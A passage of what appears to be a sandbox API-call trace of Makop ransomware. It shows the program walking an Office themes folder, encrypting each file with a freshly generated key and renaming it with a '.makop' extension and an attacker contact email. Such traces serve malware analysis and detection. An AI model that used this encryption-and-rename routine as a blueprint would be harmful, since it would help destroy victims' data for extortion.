param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS") returned 63 [0096.817] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*") returned 67 [0096.817] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.819] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.819] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0096.819] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM") returned 75 [0096.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.821] GetProcessHeap () returned 0x48a0000 [0096.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.821] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.821] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.821] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0096.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.825] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.825] GetProcessHeap () returned 0x48a0000 [0096.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.825] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.825] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.825] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.825] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.826] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.826] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.826] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.826] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.827] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.827] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.827] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.827] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd613, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd613, lpOverlapped=0x0) returned 1 [0096.829] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd620, dwBufLen=0xd620 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd620) returned 1 [0096.829] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.829] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd620, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd620, lpOverlapped=0x0) returned 1 [0096.830] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.830] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xd6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.830] SetEndOfFile (hFile=0x138) returned 1 [0096.837] GetProcessHeap () returned 0x48a0000 [0096.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.837] GetProcessHeap () returned 0x48a0000 [0096.837] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.837] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.838] CloseHandle (hObject=0x138) returned 1 [0096.838] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0096.838] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF") returned 75 [0096.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.839] GetProcessHeap () returned 0x48a0000 [0096.839] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.839] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.839] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.839] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0096.843] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.843] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.843] GetProcessHeap () returned 0x48a0000 [0096.843] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.843] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.844] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.844] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.844] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.844] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.844] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.844] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.844] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.845] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.845] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.845] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e6, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1e6, lpOverlapped=0x0) returned 1 [0096.845] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1f0) returned 1 [0096.845] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.845] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1f0, lpOverlapped=0x0) returned 1 [0096.845] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.845] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.845] SetEndOfFile (hFile=0x138) returned 1 [0096.852] GetProcessHeap () returned 0x48a0000 [0096.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.852] GetProcessHeap () returned 0x48a0000 [0096.852] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.852] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.852] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.858] CloseHandle (hObject=0x138) returned 1 [0096.858] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0096.858] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0096.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.859] GetProcessHeap () returned 0x48a0000 [0096.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.859] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.859] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.859] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0096.863] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.863] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.863] GetProcessHeap () returned 0x48a0000 [0096.863] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.863] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.864] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.865] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.865] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.865] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.865] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.865] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.865] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.866] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.866] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.866] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.866] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x50d, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x50d, lpOverlapped=0x0) returned 1 [0096.866] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x510, dwBufLen=0x510 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x510) returned 1 [0096.866] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.866] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x510, lpOverlapped=0x0) returned 1 [0096.866] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.866] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.867] SetEndOfFile (hFile=0x138) returned 1 [0096.873] GetProcessHeap () returned 0x48a0000 [0096.873] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.873] GetProcessHeap () returned 0x48a0000 [0096.874] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.874] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.875] CloseHandle (hObject=0x138) returned 1 [0096.875] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.875] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0096.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.876] GetProcessHeap () returned 0x48a0000 [0096.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.876] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.876] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.876] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x1, lpOverlapped=0x0) returned 1 [0096.880] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.880] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.880] GetProcessHeap () returned 0x48a0000 [0096.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.880] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.880] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.880] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.881] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.881] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.881] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.881] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.881] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.881] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.881] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.881] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.881] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x505f, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x505f, lpOverlapped=0x0) returned 1 [0096.883] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, 